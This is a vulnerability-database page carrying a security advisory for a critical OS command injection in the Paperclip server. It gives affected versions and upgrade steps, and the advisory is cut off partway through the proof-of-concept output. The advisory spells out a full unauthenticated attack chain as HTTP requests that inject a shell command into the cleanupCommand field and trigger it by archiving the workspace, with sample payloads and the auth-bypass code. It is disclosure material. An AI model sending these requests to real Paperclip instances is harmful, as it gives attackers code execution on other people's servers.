critical Patched

Paperclip: OS Command Injection via Execution Workspace cleanupCommand

CVE-2026-119713 · GHSA-vr7g-88fq-vhq3 · published 16 Apr 2026

How serious is it

  • Severity: critical.
  • No exploit prediction (EPSS) score yet.
  • Not on the CISA list of exploited vulnerabilities.
  • No public exploit in Exploit-DB.

Is your app affected by CVE-2026-119713?

Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.

Who is affected

  • @paperclipai/server (npm) < 2026.416.0

How to check

  1. Run npm ls @paperclipai/server in your project to see the installed version, including copies pulled in by other packages.
  2. Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
  3. Or run npx shippable-dev scan localhost:3000 in your project folder. It reads your lockfile and flags this vulnerability along with every other known one.

How to fix

Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
  1. Upgrade @paperclipai/server to 2026.416.0 or later, commit the lockfile and redeploy.
  2. If a vulnerable version was live, check your logs and rotate the secrets that server could read.

The advisory

| Field | Value | |-------|-------| | **Affected Software** | Paperclip AI v2026.403.0 | | **Affected Component** | Execution Workspace lifecycle (`workspace-runtime.ts`) | | **Affected Endpoint** | `PATCH /api/execution-workspaces/:id` | | **Deployment Modes** | All — `local_trusted` (zero auth), `authenticated` (any company user) | | **Platforms** | Linux, macOS, Windows (with Git installed) | | **Date** | 2026-04-13 | --- ## Executive Summary A critical OS command injection vulnerability exists in Paperclip's execution workspace lifecycle. An attacker can inject arbitrary shell commands into the `cleanupCommand` field via the `PATCH /api/execution-workspaces/:id` endpoint. When the workspace is archived, the server executes this command verbatim via `child_process.spawn(shell, ["-c", cleanupCommand])` with no input validation or sanitization. In `local_trusted` mode (the default for desktop installations), this requires zero authentication. Three independent proofs of exploitation were demonstrated on Windows 11: arbitrary file write, full system information exfiltration (`systeminfo`), and GUI application launch (`calc.exe`). --- ## Root Cause Analysis ### Vulnerable Code Path **`server/src/services/workspace-runtime.ts` (line ~738)** The `cleanupExecutionWorkspaceArtifacts()` function iterates over cleanup commands from workspace config and executes each via shell: ```typescript // workspace-runtime.ts — cleanupExecutionWorkspaceArtifacts() for (const command of cleanupCommands) { await recordWorkspaceCommandOperation(ws, command, ...); } // recordWorkspaceCommandOperation() → const shell = resolveShell(); // process.env.SHELL || "sh" spawn(shell, ["-c", command]); ``` ### Missing Input Validation **`server/src/routes/execution-workspaces.ts` — PATCH handler** The PATCH endpoint accepts a `config` object containing `cleanupCommand` with no validation: ``` PATCH /api/execution-workspaces/:id Body: { "config": { "cleanupCommand": "<ARBITRARY_COMMAND>" } } ``` The `cleanupCommand` value is stored directly in workspace metadata and later passed to `spawn()` without sanitization, allowlisting, or escaping. ### Shell Resolution **`resolveShell()`** returns `process.env.SHELL` or falls back to `"sh"`: - **Linux/macOS**: `/bin/sh` exists natively — commands execute immediately - **Windows**: `sh.exe` is available via Git for Windows (`C:\Program Files\Git\bin\sh.exe`) — Paperclip requires Git, so `sh` is present on most installations --- ## Attack Chain The exploit requires 5 HTTP requests with zero authentication in `local_trusted` mode: ### Step 1 — Find a Company ```http GET /api/companies HTTP/1.1 Host: 127.0.0.1:3100 ``` ```json [{"id": "59e9248b-...", "name": "Hello", ...}] ``` ### Step 2 — Find an Execution Workspace ```http GET /api/companies/59e9248b-.../execution-workspaces HTTP/1.1 Host: 127.0.0.1:3100 ``` ```json [{"id": "da078b2d-...", "name": "HEL-1", "status": "active", ...}] ``` ### Step 3 — Reactivate Workspace (if archived/failed) ```http PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1 Host: 127.0.0.1:3100 Content-Type: application/json {"status": "active"} ``` ### Step 4 — Inject cleanupCommand (Command Injection) ```http PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1 Host: 127.0.0.1:3100 Content-Type: application/json {"config": {"cleanupCommand": "echo RCE_PROOF > \"/tmp/rce-proof.txt\""}} ``` Response confirms storage: ```json {"id": "da078b2d-...", "config": {"cleanupCommand": "echo RCE_PROOF > \"/tmp/rce-proof.txt\""}, ...} ``` ### Step 5 — Trigger RCE (Archive Workspace) ```http PATCH /api/execution-workspaces/da078b2d-... HTTP/1.1 Host: 127.0.0.1:3100 Content-Type: application/json {"status": "archived"} ``` This triggers `cleanupExecutionWorkspaceArtifacts()` which calls: ``` spawn(shell, ["-c", "echo RCE_PROOF > \"/tmp/rce-proof.txt\""]) ``` The injected command is executed with the privileges of the Paperclip server process. --- ## Authentication Bypass by Deployment Mode ### `local_trusted` Mode (Default Desktop Install) Every HTTP request is auto-granted full admin privileges with zero authentication: ```typescript // middleware/auth.ts req.actor = { type: "board", userId: "local-board", isInstanceAdmin: true, source: "local_implicit" }; ``` The `boardMutationGuard` middleware is also bypassed: ```typescript // middleware/board-mutation-guard.ts (line 55) if (req.actor.source === "local_implicit" || req.actor.source === "board_key") { next(); return; } ``` ### `authenticated` Mode Any user with company access can exploit this vulnerability. The `assertCompanyAccess` check occurs AFTER the database query (BOLA/IDOR pattern), and no additional authorization is required to modify workspace config fields. --- ## Proof of Concept — 3 Independent RCE Proofs (Windows 11) All proofs executed via the automated PoC script `poc_paperclip_rce.py`. ### Proof 1: Arbitrary File Write **Payload:** `echo RCE_PROOF_595c04f7 > "%TEMP%\rce-proof-595c04f7.txt"` **Result:** ``` +================================================+ | VULNERABLE - Arbitrary Code Execution! | | cleanupCommand was executed on the server | +================================================+ Proof file: %TEMP%\rce-proof-595c04f7.txt Content: RCE_PROOF_595c04f7 Platform: Windows 11 ``` ### Proof 2: System Command Execution (Data Exfiltration) **Payload:** `systeminfo > "%TEMP%\rce-sysinfo-595c04f7.txt"` **Result:** ``` +================================================+ | System command output captured! | +================================================+ Host Name: [REDACTED] OS Name: Microsoft Windows 11 Home OS Version: 10.0.26200 N/A Build 26200 OS Manufacturer: Microsoft Corporation Registered Owner: [REDACTED] Product ID: [REDACTED] System Manu…

Check your whole app

Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.

References

Merged from OSV. Last updated 1 Nov 2026. All vulnerabilities · RSS · JSON